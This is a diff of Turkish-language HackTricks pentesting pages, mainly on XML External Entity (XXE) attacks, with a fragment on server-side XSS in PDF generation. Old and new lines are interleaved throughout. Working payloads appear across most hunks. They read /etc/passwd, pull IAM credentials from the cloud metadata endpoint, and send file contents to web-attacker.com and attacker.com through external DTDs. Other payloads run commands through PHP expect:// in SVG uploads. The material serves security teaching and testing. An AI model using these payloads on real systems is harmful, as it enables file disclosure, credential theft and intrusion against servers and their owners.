Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF oluşturuyorsa, PDF'yi oluşturan **botu** **rastgele JS kodu çalıştırması için kandırmayı** deneyebilirsiniz.\
|
||||
Yani, eğer **PDF oluşturucu bot bazı** **HTML** **etiketleri** bulursa, bunları **yorumlayacak** ve bu davranışı **istismar** ederek bir **Sunucu XSS** oluşturabilirsiniz.
|
||||
Yani, eğer **PDF oluşturucu bot bazı** **HTML** **etiketleri** bulursa, bunları **yorumlayacak** ve bu davranışı **istismar** ederek bir **Server XSS** oluşturabilirsiniz.
|
||||
|
||||
{{#ref}}
|
||||
server-side-xss-dynamic-pdf.md
|
||||
{{#endref}}
|
||||
|
||||
Eğer HTML etiketlerini enjekte edemiyorsanız, **PDF verisi enjekte etmeyi** denemek faydalı olabilir:
|
||||
HTML etiketlerini enjekte edemiyorsanız, **PDF verisi enjekte etmeyi** denemek faydalı olabilir:
|
||||
|
||||
{{#ref}}
|
||||
pdf-injection.md
|
||||
@ -1592,7 +1596,7 @@ id="foo"/>
|
||||
```xml
|
||||
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
|
||||
```
|
||||
Daha fazla SVG yüklemesi bulmak için **[https://github.com/allanlw/svg-cheatsheet](https://github.com/allanlw/svg-cheatsheet)**
|
||||
**Daha fazla SVG yüklemesi bulmak için** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
|
||||
## Çeşitli JS Hileleri ve İlgili Bilgiler
|
||||
|
||||
|
@ -2,16 +2,15 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## XML Temelleri
|
||||
|
||||
XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve açıklayıcı şekilde adlandırılmış etiketlerin kullanılmasına olanak tanıyan esnek bir yapıya sahiptir. HTML'den, önceden tanımlanmış etiket seti ile sınırlı olmamasıyla ayrılır. JSON'un yükselişi ile birlikte XML'in önemi azalmıştır, buna rağmen AJAX teknolojisindeki ilk rolü önemlidir.
|
||||
|
||||
- **Varlıklar aracılığıyla Veri Temsili**: XML'deki varlıklar, `<` ve `>` ile çakışmayı önlemek için `<` ve `>` gibi özel karakterler de dahil olmak üzere verilerin temsilini sağlar.
|
||||
- **XML Elemanlarını Tanımlama**: XML, eleman türlerinin tanımlanmasına olanak tanır, elemanların nasıl yapılandırılacağını ve hangi içeriği içerebileceğini belirler; bu, her türlü içerikten belirli alt elemanlara kadar uzanabilir.
|
||||
- **Varlıklar aracılığıyla Veri Temsili**: XML'deki varlıklar, `<` ve `>` ile çelişmeyi önlemek için `<` ve `>` gibi özel karakterler de dahil olmak üzere verilerin temsilini sağlar.
|
||||
- **XML Elemanlarını Tanımlama**: XML, eleman türlerinin tanımlanmasına olanak tanır, elemanların nasıl yapılandırılacağını ve hangi içeriği içerebileceğini belirler; bu, her türlü içerikten belirli alt elemanlara kadar uzanır.
|
||||
- **Belge Türü Tanımı (DTD)**: DTD'ler, XML'de belgenin yapısını ve içerebileceği veri türlerini tanımlamak için kritik öneme sahiptir. DTD'ler içsel, dışsal veya bir kombinasyon olabilir ve belgelerin nasıl biçimlendirileceği ve doğrulanacağı konusunda rehberlik eder.
|
||||
- **Özel ve Dış Varlıklar**: XML, esnek veri temsili için bir DTD içinde özel varlıkların oluşturulmasını destekler. URL ile tanımlanan dış varlıklar, özellikle XML Dış Varlık (XXE) saldırıları bağlamında güvenlik endişeleri doğurur; bu saldırılar, XML ayrıştırıcılarının dış veri kaynaklarını nasıl işlediğini istismar eder: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||
- **Parametre Varlıkları ile XXE Tespiti**: XXE zafiyetlerini tespit etmek için, özellikle geleneksel yöntemlerin ayrıştırıcı güvenlik önlemleri nedeniyle başarısız olduğu durumlarda, XML parametre varlıkları kullanılabilir. Bu varlıklar, zafiyeti doğrulamak için kontrol edilen bir alan adına DNS sorguları veya HTTP istekleri tetikleme gibi dışarıdan tespit tekniklerine olanak tanır.
|
||||
- **Parametre Varlıkları ile XXE Tespiti**: XXE zafiyetlerini tespit etmek için, özellikle geleneksel yöntemlerin ayrıştırıcı güvenlik önlemleri nedeniyle başarısız olduğu durumlarda, XML parametre varlıkları kullanılabilir. Bu varlıklar, zafiyeti doğrulamak için kontrol edilen bir alan adına DNS sorguları veya HTTP istekleri tetikleme gibi dış bant tespit tekniklerine olanak tanır.
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||
|
||||
@ -44,13 +43,13 @@ Bu ilk durumda, SYSTEM "_\*\*file:///\*\*etc/passwd_" ifadesinin de çalışaca
|
||||
```
|
||||
.png>)
|
||||
|
||||
Bu ikinci durum, web sunucusu PHP kullanıyorsa bir dosya çıkarmak için faydalı olmalıdır (Portswigger laboratuvarları durumu değil)
|
||||
Bu ikinci durum, web sunucusu PHP kullanıyorsa bir dosya çıkarmak için faydalı olmalıdır (Portswiggers laboratuvarları durumu değil)
|
||||
```xml
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
Bu üçüncü durumda, `Element stockCheck` ifadesini ANY olarak tanımladığımıza dikkat edin.
|
||||
Bu üçüncü durumda `Element stockCheck`'i ANY olarak tanımladığımıza dikkat edin.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE data [
|
||||
@ -66,7 +65,7 @@ Bu üçüncü durumda, `Element stockCheck` ifadesini ANY olarak tanımladığı
|
||||
|
||||
### Dizin listeleme
|
||||
|
||||
**Java** tabanlı uygulamalarda, bir yük ile **bir dizinin içeriğini listelemek** mümkün olabilir (dosya yerine sadece dizini istemek):
|
||||
**Java** tabanlı uygulamalarda, bir yük ile **bir dizinin içeriğini listelemek** mümkün olabilir (sadece dosya yerine dizini istemek):
|
||||
```xml
|
||||
<!-- Root / -->
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
||||
@ -76,7 +75,7 @@ Bu üçüncü durumda, `Element stockCheck` ifadesini ANY olarak tanımladığı
|
||||
```
|
||||
### SSRF
|
||||
|
||||
Bir XXE, bir bulut içindeki bir SSRF'yi kötüye kullanmak için kullanılabilir.
|
||||
Bir XXE, bir bulut içindeki SSRF'yi kötüye kullanmak için kullanılabilir.
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
|
||||
@ -90,11 +89,11 @@ Bir XXE, bir bulut içindeki bir SSRF'yi kötüye kullanmak için kullanılabili
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
### "Blind" SSRF - Dışı kanaldan veri sızdırma
|
||||
### "Kör" SSRF - Veriyi dışarıya sızdırma
|
||||
|
||||
**Bu durumda, sunucunun, bir dosyanın içeriğini HTTP isteği aracılığıyla gönderecek kötü niyetli bir yük ile yeni bir DTD yüklemesini sağlayacağız (çok satırlı dosyalar için bunu \_ftp://**\_ aracılığıyla sızdırmayı deneyebilirsiniz, örneğin bu temel sunucuyu kullanarak [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Bu açıklama,** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**'e dayanmaktadır.**
|
||||
**Bu durumda, sunucunun, bir dosyanın içeriğini HTTP isteği aracılığıyla gönderecek kötü niyetli bir yük ile yeni bir DTD yüklemesini sağlayacağız (çok satırlı dosyalar için bunu \_ftp://**\_ aracılığıyla dışarıya sızdırmayı deneyebilirsiniz, örneğin bu temel sunucuyu kullanarak [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Bu açıklama,** [**Portswiggers lab burada**](https://portswigger.net/web-security/xxe/blind)** temel alınarak yapılmıştır.**
|
||||
|
||||
Verilen kötü niyetli DTD'de, verileri sızdırmak için bir dizi adım gerçekleştirilir:
|
||||
Verilen kötü niyetli DTD'de, veriyi dışarıya sızdırmak için bir dizi adım gerçekleştirilir:
|
||||
|
||||
### Kötü Niyetli DTD Örneği:
|
||||
|
||||
@ -122,16 +121,16 @@ Saldırgan, bu kötü niyetli DTD'yi kontrolü altındaki bir sunucuda barındı
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
Bu yük, bir XML parametre varlığı `%xxe` tanımlar ve bunu DTD içinde entegre eder. Bir XML ayrıştırıcısı tarafından işlendiğinde, bu yük saldırganın sunucusundan dış DTD'yi alır. Ardından, ayrıştırıcı DTD'yi satır içi olarak yorumlar, kötü niyetli DTD'de belirtilen adımları yürütür ve `/etc/hostname` dosyasının saldırganın sunucusuna sızdırılmasına yol açar.
|
||||
Bu yük, bir XML parametre varlığı `%xxe` tanımlar ve bunu DTD içinde entegre eder. Bir XML ayrıştırıcısı tarafından işlendiğinde, bu yük, saldırganın sunucusundan dış DTD'yi alır. Ardından, ayrıştırıcı DTD'yi satır içi olarak yorumlar, kötü niyetli DTD'de belirtilen adımları yürütür ve `/etc/hostname` dosyasının saldırganın sunucusuna sızdırılmasına yol açar.
|
||||
|
||||
### Hata Tabanlı (Dış DTD)
|
||||
|
||||
**Bu durumda, sunucunun bir hata mesajı içinde bir dosyanın içeriğini gösterecek kötü niyetli bir DTD yüklemesini sağlayacağız (bu, hata mesajlarını görebiliyorsanız geçerlidir).** [**Buradan örnek.**](https://portswigger.net/web-security/xxe/blind)
|
||||
|
||||
Kötü niyetli bir dış Belge Türü Tanımı (DTD) kullanılarak, `/etc/passwd` dosyasının içeriğini ortaya çıkaran bir XML ayrıştırma hata mesajı tetiklenebilir. Bu, aşağıdaki adımlar aracılığıyla gerçekleştirilir:
|
||||
Kötü niyetli bir dış Belge Türü Tanımı (DTD) kullanılarak, `/etc/passwd` dosyasının içeriğini açığa çıkaran bir XML ayrıştırma hata mesajı tetiklenebilir. Bu, aşağıdaki adımlar aracılığıyla gerçekleştirilir:
|
||||
|
||||
1. `file` adında bir XML parametre varlığı tanımlanır; bu, `/etc/passwd` dosyasının içeriğini içerir.
|
||||
2. `eval` adında bir XML parametre varlığı tanımlanır; bu, `error` adında başka bir XML parametre varlığı için dinamik bir tanım içerir. Bu `error` varlığı değerlendirildiğinde, var olmayan bir dosyayı yüklemeye çalışır ve `file` varlığının içeriğini ad olarak kullanır.
|
||||
1. `file` adında bir XML parametre varlığı tanımlanır; bu varlık, `/etc/passwd` dosyasının içeriğini içerir.
|
||||
2. `eval` adında bir XML parametre varlığı tanımlanır; bu varlık, `error` adında başka bir XML parametre varlığı için dinamik bir tanım içerir. Bu `error` varlığı değerlendirildiğinde, var olmayan bir dosyayı yüklemeye çalışır ve `file` varlığının içeriğini ad olarak kullanır.
|
||||
3. `eval` varlığı çağrılır, bu da `error` varlığının dinamik tanımını oluşturur.
|
||||
4. `error` varlığının çağrılması, var olmayan bir dosyayı yüklemeye çalışır ve dosya adının bir parçası olarak `/etc/passwd` dosyasının içeriğini içeren bir hata mesajı üretir.
|
||||
|
||||
@ -141,19 +140,19 @@ Kötü niyetli dış DTD, aşağıdaki XML ile çağrılabilir:
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
Yürütme sırasında, web sunucusunun yanıtı `/etc/passwd` dosyasının içeriğini gösteren bir hata mesajı içermelidir.
|
||||
Web sunucusunun yanıtı, `/etc/passwd` dosyasının içeriğini gösteren bir hata mesajı içermelidir.
|
||||
|
||||
.png>)
|
||||
|
||||
_**Lütfen harici DTD'nin, bir varlığı ikinci bir varlık içinde dahil etmemize izin verdiğini (\*\***`eval`\***\*), ancak bunun dahili DTD'de yasaklandığını unutmayın. Bu nedenle, harici bir DTD kullanmadan (genellikle) bir hatayı zorlayamazsınız.**_
|
||||
_**Dış DTD'nin, bir varlığı ikinci bir varlık içinde dahil etmemize izin verdiğini lütfen unutmayın (\*\***`eval`\***\*), ancak bu iç DTD'de yasaktır. Bu nedenle, genellikle dış DTD kullanmadan bir hatayı zorlayamazsınız.**_
|
||||
|
||||
### **Hata Tabanlı (sistem DTD)**
|
||||
|
||||
Peki, **dışa dönük etkileşimlerin engellendiği** kör XXE zafiyetleri hakkında ne düşünüyorsunuz?
|
||||
Peki, **dış bağlantılar engellendiğinde** (harici bağlantılar mevcut olmadığında) kör XXE zafiyetleri hakkında ne söyleyebiliriz?
|
||||
|
||||
XML dil spesifikasyonundaki bir boşluk, **bir belgenin DTD'si iç ve dış bildirimleri karıştırdığında hata mesajları aracılığıyla hassas verileri açığa çıkarabilir**. Bu sorun, harici olarak tanımlanan varlıkların dahili olarak yeniden tanımlanmasına olanak tanır ve hata tabanlı XXE saldırılarının gerçekleştirilmesini kolaylaştırır. Bu tür saldırılar, harici bir DTD'de orijinal olarak tanımlanan bir XML parametre varlığının, dahili bir DTD içinden yeniden tanımlanmasını istismar eder. Sunucu tarafından dışa dönük bağlantılar engellendiğinde, saldırganlar saldırıyı gerçekleştirmek için yerel DTD dosyalarına güvenmek zorundadır ve hassas bilgileri açığa çıkarmak için bir ayrıştırma hatası indüklemeyi hedeflerler.
|
||||
XML dil spesifikasyonundaki bir boşluk, **bir belgenin DTD'si iç ve dış bildirimleri karıştırdığında hata mesajları aracılığıyla hassas verileri açığa çıkarabilir**. Bu sorun, dışarıda tanımlanan varlıkların içten yeniden tanımlanmasına olanak tanır ve hata tabanlı XXE saldırılarının gerçekleştirilmesini kolaylaştırır. Bu tür saldırılar, dış DTD'de orijinal olarak tanımlanan bir XML parametre varlığının iç DTD'den yeniden tanımlanmasını istismar eder. Sunucu dış bağlantıları engellediğinde, saldırganlar saldırıyı gerçekleştirmek için yerel DTD dosyalarına güvenmek zorundadır ve hassas bilgileri açığa çıkarmak için bir ayrıştırma hatası indüklemeyi hedeflerler.
|
||||
|
||||
Sunucunun dosya sisteminde `/usr/local/app/schema.dtd` konumunda `custom_entity` adında bir varlık tanımlayan bir DTD dosyası olduğunu düşünün. Bir saldırgan, aşağıdaki gibi bir hibrit DTD göndererek `/etc/passwd` dosyasının içeriğini açığa çıkaran bir XML ayrıştırma hatası indükleyebilir:
|
||||
Sunucunun dosya sisteminde `/usr/local/app/schema.dtd` konumunda `custom_entity` adında bir varlık tanımlayan bir DTD dosyası olduğunu varsayalım. Bir saldırgan, aşağıdaki gibi bir hibrit DTD göndererek `/etc/passwd` dosyasının içeriğini açığa çıkaran bir XML ayrıştırma hatası indükleyebilir:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
||||
@ -189,7 +188,7 @@ Açıklanan adımlar bu DTD tarafından yürütülmektedir:
|
||||
```
|
||||
.png>)
|
||||
|
||||
Bu teknik **içsel DTD kullanıyor, bu yüzden önce geçerli bir tane bulmalısınız**. Bunu **sunucunun kullandığı aynı **OS / Yazılımı** yükleyerek ve **bazı varsayılan DTD'leri** arayarak yapabilirsiniz veya sistemler içindeki **varsayılan DTD'lerin bir listesini** alıp **kontrol** edebilirsiniz.
|
||||
Bu teknik **içsel DTD kullanıyorsa, önce geçerli bir tane bulmanız gerekir**. Bunu **sunucunun kullandığı aynı **OS / Yazılımı** yükleyerek ve **bazı varsayılan DTD'leri** arayarak yapabilirsiniz veya sistemler içindeki **varsayılan DTD'lerin bir listesini** alıp **bunlardan herhangi birinin var olup olmadığını kontrol edebilirsiniz:**
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
@ -202,9 +201,11 @@ Daha fazla bilgi için [https://portswigger.net/web-security/xxe/blind](https://
|
||||
|
||||
Aşağıdaki harika github reposunda **sistemde mevcut olabilecek DTD'lerin yollarını** bulabilirsiniz:
|
||||
|
||||
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
|
||||
{{#ref}}
|
||||
https://github.com/GoSecure/dtd-finder/tree/master/list
|
||||
{{#endref}}
|
||||
|
||||
Ayrıca, eğer **kurban sisteminin Docker imajına** sahipseniz, aynı repo içindeki aracı kullanarak **imajı tarayabilir** ve **sistemde mevcut olan DTD'lerin yolunu bulabilirsiniz.** Nasıl yapılacağını öğrenmek için [Github'ın Readme'sini](https://github.com/GoSecure/dtd-finder) okuyun.
|
||||
Ayrıca, eğer **kurban sisteminin Docker imajına** sahipseniz, aynı repo aracını kullanarak **imajı tarayabilir** ve sistemde mevcut olan **DTD'lerin** yolunu **bulabilirsiniz**. Nasıl yapılacağını öğrenmek için [Github'ın Readme'sini](https://github.com/GoSecure/dtd-finder) okuyun.
|
||||
```bash
|
||||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||||
|
||||
@ -220,37 +221,37 @@ Testing 0 entities : []
|
||||
|
||||
Bu saldırının daha derin bir açıklaması için, **Detectify'den** [**bu harika yazının**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **ikinci bölümüne göz atın**.
|
||||
|
||||
**Microsoft Office belgelerini yükleme yeteneği birçok web uygulaması tarafından sunulmaktadır**, bu uygulamalar daha sonra bu belgelerden belirli ayrıntıları çıkarmaya devam eder. Örneğin, bir web uygulaması kullanıcıların bir XLSX formatında elektronik tablo yükleyerek veri içe aktarmasına izin verebilir. Ayrıştırıcının verileri elektronik tablodan çıkarması için, en az bir XML dosyasını ayrıştırması kaçınılmazdır.
|
||||
**Microsoft Office belgelerini yükleme yeteneği birçok web uygulaması tarafından sunulmaktadır**, bu uygulamalar daha sonra bu belgelerden belirli ayrıntıları çıkarmaya devam eder. Örneğin, bir web uygulaması kullanıcıların XLSX formatında bir elektronik tablo yükleyerek veri içe aktarmasına izin verebilir. Parser'ın verileri elektronik tablodan çıkarması için, en az bir XML dosyasını ayrıştırması gerekecektir.
|
||||
|
||||
Bu güvenlik açığını test etmek için, **bir XXE yükü içeren bir Microsoft Office dosyası oluşturmak** gereklidir. İlk adım, belgenin çıkarılabileceği boş bir dizin oluşturmaktır.
|
||||
Bu güvenlik açığını test etmek için, **XXE yükü içeren bir Microsoft Office dosyası oluşturmak** gereklidir. İlk adım, belgenin çıkarılabileceği boş bir dizin oluşturmaktır.
|
||||
|
||||
Belge çıkarıldıktan sonra, `./unzipped/word/document.xml` konumundaki XML dosyası tercih edilen bir metin düzenleyicisinde (örneğin vim) açılmalı ve düzenlenmelidir. XML, genellikle bir HTTP isteği ile başlayan istenen XXE yükünü içerecek şekilde değiştirilmelidir.
|
||||
Belge çıkarıldıktan sonra, `./unzipped/word/document.xml` konumundaki XML dosyası tercih edilen bir metin editöründe (örneğin vim) açılmalı ve düzenlenmelidir. XML, genellikle bir HTTP isteği ile başlayan istenen XXE yükünü içerecek şekilde değiştirilmelidir.
|
||||
|
||||
Değiştirilen XML satırları iki kök XML nesnesinin arasına yerleştirilmelidir. URL'nin izlenebilir bir URL ile değiştirilmesi önemlidir.
|
||||
Değiştirilen XML satırları, iki kök XML nesnesinin arasına yerleştirilmelidir. URL'nin izlenebilir bir URL ile değiştirilmesi önemlidir.
|
||||
|
||||
Son olarak, dosya kötü niyetli poc.docx dosyasını oluşturmak için sıkıştırılabilir. Önceden oluşturulan "unzipped" dizininden aşağıdaki komut çalıştırılmalıdır:
|
||||
Son olarak, dosya kötü niyetli poc.docx dosyasını oluşturmak için sıkıştırılabilir. Daha önce oluşturulan "unzipped" dizininden aşağıdaki komut çalıştırılmalıdır:
|
||||
|
||||
Artık oluşturulan dosya potansiyel olarak savunmasız web uygulamasına yüklenebilir ve Burp Collaborator günlüklerinde bir isteğin görünmesi umulabilir.
|
||||
|
||||
### Jar: protocol
|
||||
|
||||
**jar** protokolü yalnızca **Java uygulamaları** içinde erişilebilir hale getirilmiştir. Bu, hem yerel hem de uzak dosyalar için **PKZIP** arşivinde (örneğin, `.zip`, `.jar`, vb.) dosya erişimini sağlamak için tasarlanmıştır.
|
||||
**jar** protokolü yalnızca **Java uygulamaları** içinde erişilebilir hale getirilmiştir. Bu, **PKZIP** arşivinde (örneğin, `.zip`, `.jar`, vb.) dosya erişimini sağlamak için tasarlanmıştır ve hem yerel hem de uzak dosyalar için geçerlidir.
|
||||
```
|
||||
jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
```
|
||||
> [!CAUTION]
|
||||
> PKZIP dosyaları içindeki dosyalara erişebilmek, **sistem DTD dosyaları aracılığıyla XXE'yi istismar etmek için süper kullanışlıdır.** [Sistem DTD dosyalarını nasıl istismar edeceğinizi öğrenmek için bu bölüme bakın](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
> PKZIP dosyaları içindeki dosyalara erişebilmek, **sistem DTD dosyalarını kötüye kullanmak için süper kullanışlıdır.** [Sistem DTD dosyalarını nasıl kötüye kullanacağınızı öğrenmek için bu bölüme bakın](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
|
||||
PKZIP arşivindeki bir dosyaya jar protokolü aracılığıyla erişim süreci birkaç adımdan oluşur:
|
||||
|
||||
1. Belirtilen bir konumdan, örneğin `https://download.website.com/archive.zip`, zip arşivini indirmek için bir HTTP isteği yapılır.
|
||||
2. Arşivi içeren HTTP yanıtı, genellikle `/tmp/...` gibi bir konumda sistemde geçici olarak saklanır.
|
||||
2. Arşivi içeren HTTP yanıtı, genellikle `/tmp/...` gibi bir konumda geçici olarak sistemde saklanır.
|
||||
3. Arşiv, içeriğine erişmek için çıkarılır.
|
||||
4. Arşiv içindeki belirli dosya, `file.zip`, okunur.
|
||||
5. İşlemden sonra, bu süreçte oluşturulan geçici dosyalar silinir.
|
||||
|
||||
Bu süreci ikinci adımda kesmek için ilginç bir teknik, arşiv dosyasını sunarken sunucu bağlantısını sonsuz bir süre açık tutmaktır. Bu amaçla kullanılabilecek araçlar [bu depoda](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mevcuttur; bunlar arasında bir Python sunucusu (`slow_http_server.py`) ve bir Java sunucusu (`slowserver.jar`) bulunmaktadır.
|
||||
Bu süreci ikinci adımda kesmek için ilginç bir teknik, arşiv dosyasını sunarken sunucu bağlantısını sonsuz süre açık tutmaktır. Bu amaçla kullanılabilecek araçlar [bu depoda](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) mevcuttur; bunlar arasında bir Python sunucusu (`slow_http_server.py`) ve bir Java sunucusu (`slowserver.jar`) bulunmaktadır.
|
||||
```xml
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
||||
<foo>&xxe;</foo>
|
||||
@ -309,7 +310,7 @@ Sonra hashcat kullanarak hash'i kırmayı deneyebilirsiniz.
|
||||
|
||||
### XInclude
|
||||
|
||||
Müşteri verilerini sunucu tarafı XML belgelerine entegre ederken, arka uç SOAP isteklerindeki gibi, XML yapısı üzerinde doğrudan kontrol genellikle sınırlıdır; bu da `DOCTYPE` öğesini değiştirme kısıtlamaları nedeniyle geleneksel XXE saldırılarını engeller. Ancak, bir `XInclude` saldırısı, XML belgesinin herhangi bir veri öğesi içinde dış varlıkların eklenmesine izin vererek bir çözüm sunar. Bu yöntem, yalnızca sunucu tarafından oluşturulan bir XML belgesindeki verilerin bir kısmı kontrol edilebildiğinde bile etkilidir.
|
||||
Sunucu tarafı XML belgelerine, arka uç SOAP isteklerindeki gibi, istemci verilerini entegre ederken, XML yapısı üzerinde doğrudan kontrol genellikle sınırlıdır; bu da `DOCTYPE` öğesini değiştirme kısıtlamaları nedeniyle geleneksel XXE saldırılarını engeller. Ancak, bir `XInclude` saldırısı, XML belgesinin herhangi bir veri öğesi içinde dış varlıkların eklenmesine izin vererek bir çözüm sunar. Bu yöntem, yalnızca sunucu tarafından oluşturulan bir XML belgesindeki verilerin bir kısmı kontrol edilebildiğinde bile etkilidir.
|
||||
|
||||
Bir `XInclude` saldırısını gerçekleştirmek için, `XInclude` ad alanı beyan edilmeli ve hedef dış varlık için dosya yolu belirtilmelidir. Aşağıda, böyle bir saldırının nasıl formüle edilebileceğine dair kısa bir örnek bulunmaktadır:
|
||||
```xml
|
||||
@ -321,7 +322,7 @@ Daha fazla bilgi için [https://portswigger.net/web-security/xxe](https://portsw
|
||||
|
||||
Kullanıcılar tarafından belirli uygulamalara yüklenen dosyalar, sunucuda işlenirken XML veya XML içeren dosya formatlarının nasıl ele alındığındaki zayıflıkları istismar edebilir. Ofis belgeleri (DOCX) ve görüntüler (SVG) gibi yaygın dosya formatları XML tabanlıdır.
|
||||
|
||||
Kullanıcılar **görüntü yüklediğinde**, bu görüntüler sunucu tarafında işlenir veya doğrulanır. PNG veya JPEG gibi formatları bekleyen uygulamalar için bile, **sunucunun görüntü işleme kütüphanesi SVG görüntülerini de destekleyebilir**. XML tabanlı bir format olan SVG, saldırganlar tarafından kötü niyetli SVG görüntüleri göndermek için istismar edilebilir ve böylece sunucuyu XXE (XML Dış Varlık) zayıflıklarına maruz bırakabilir.
|
||||
Kullanıcılar **görüntü yüklediğinde**, bu görüntüler sunucu tarafında işlenir veya doğrulanır. PNG veya JPEG gibi formatlar bekleyen uygulamalar için bile, **sunucunun görüntü işleme kütüphanesi SVG görüntülerini de destekleyebilir**. XML tabanlı bir format olan SVG, saldırganlar tarafından kötü niyetli SVG görüntüleri göndermek için istismar edilebilir ve böylece sunucuyu XXE (XML Dış Varlık) zayıflıklarına maruz bırakabilir.
|
||||
|
||||
Aşağıda, kötü niyetli bir SVG görüntüsünün sistem dosyalarını okumaya çalıştığı bir istismar örneği gösterilmektedir:
|
||||
```xml
|
||||
@ -333,11 +334,11 @@ Başka bir yöntem, PHP "expect" sarmalayıcısı aracılığıyla **komutları
|
||||
<image xlink:href="expect://ls"></image>
|
||||
</svg>
|
||||
```
|
||||
SVG format, sunucunun yazılımının XML işleme yeteneklerini istismar eden saldırıları başlatmak için kullanılır, bu da sağlam girdi doğrulama ve güvenlik önlemlerine olan ihtiyacı vurgular.
|
||||
SVG formatı, sunucunun yazılımının XML işleme yeteneklerini istismar eden saldırıları başlatmak için kullanılır; bu da sağlam girdi doğrulama ve güvenlik önlemlerine olan ihtiyacı vurgular.
|
||||
|
||||
Daha fazla bilgi için [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) adresini kontrol edin!
|
||||
|
||||
**Okunan dosyanın veya yürütme sonucunun ilk satırı oluşturulan görüntünün İÇİNDE görünecektir. Bu nedenle, SVG'nin oluşturduğu görüntüye erişebilmeniz gerekir.**
|
||||
**Okunan dosyanın veya yürütme sonucunun ilk satırı, oluşturulan görüntünün İÇİNDE görünecektir. Bu nedenle, SVG'nin oluşturduğu görüntüye erişebilmeniz gerekir.**
|
||||
|
||||
### **PDF - Dosya yükleme**
|
||||
|
||||
@ -407,7 +408,7 @@ Bu yalnızca XML sunucusu `data://` protokolünü kabul ederse çalışır.
|
||||
|
||||
### UTF-7
|
||||
|
||||
Burada \[**"Encode Recipe**" of cyberchef kullanabilirsiniz\]([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) UTF-7'ye dönüştürmek için.
|
||||
